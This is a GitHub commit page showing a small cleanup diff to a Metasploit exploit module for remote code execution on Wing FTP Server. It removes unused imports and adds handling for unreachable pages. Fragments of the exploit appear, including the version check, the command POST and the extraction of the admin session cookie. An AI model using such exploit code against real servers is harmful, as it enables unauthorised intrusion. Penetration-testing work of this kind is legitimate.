Skip to content

Commit 0788ce9

Browse files
committed
Removed unused require and import. Handle the res.nil case in
execute_command() and authenticate().
1 parent 40b66fa commit 0788ce9

File tree

1 file changed

+9
-7
lines changed

1 file changed

+9
-7
lines changed

modules/exploits/windows/ftp/wing_ftp_server_rce.rb

Lines changed: 9 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -4,10 +4,8 @@
44
##
55

66
require 'msf/core'
7-
require 'msf/core/exploit/powershell'
87

98
class Metasploit3 < Msf::Exploit::Remote
10-
include REXML
119
include Msf::Exploit::CmdStager
1210
include Msf::Exploit::Remote::HttpClient
1311

@@ -22,7 +20,7 @@ def initialize(info = {})
2220
},
2321
'Author' =>
2422
[
25-
'Nicholas Nam (nick[at]executionflow.org)',
23+
'Nicholas Nam <nick[at]executionflow.org>',
2624
],
2725
'License' => MSF_LICENSE,
2826
'References' =>
@@ -54,7 +52,7 @@ def check
5452
res = send_request_cgi(
5553
{
5654
'uri' => '/admin_login.html',
57-
'method' => 'GET',
55+
'method' => 'GET'
5856
})
5957

6058
if res and res.body =~ /Wing FTP Server Administrator/ and res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
@@ -84,8 +82,10 @@ def execute_command(cmd, opts = {})
8482
'vars_post' => { 'command' => command }
8583
})
8684

87-
if res and res.code != 200
88-
fail_with(Failure::Unknown, "#{peer} - Something went wrong.")
85+
if !res
86+
fail_with(Failure::Unreachable, "#{peer} - Vulnerable page was unreachable.")
87+
elsif res.code != 200
88+
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP Response Code.")
8989
end
9090
end
9191

@@ -104,7 +104,9 @@ def authenticate(username, password)
104104
})
105105

106106
uidadmin = ''
107-
if res and res.body =~ /location='main.html\?lang=english';/
107+
if !res
108+
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
109+
elsif res.code == 200 and res.body =~ /location='main.html\?lang=english';/
108110
res.get_cookies.split(';').each do |cookie|
109111
cookie.split(',').each do |value|
110112
if value.split('=')[0] =~ /UIDADMIN/

0 commit comments

Comments
 (0)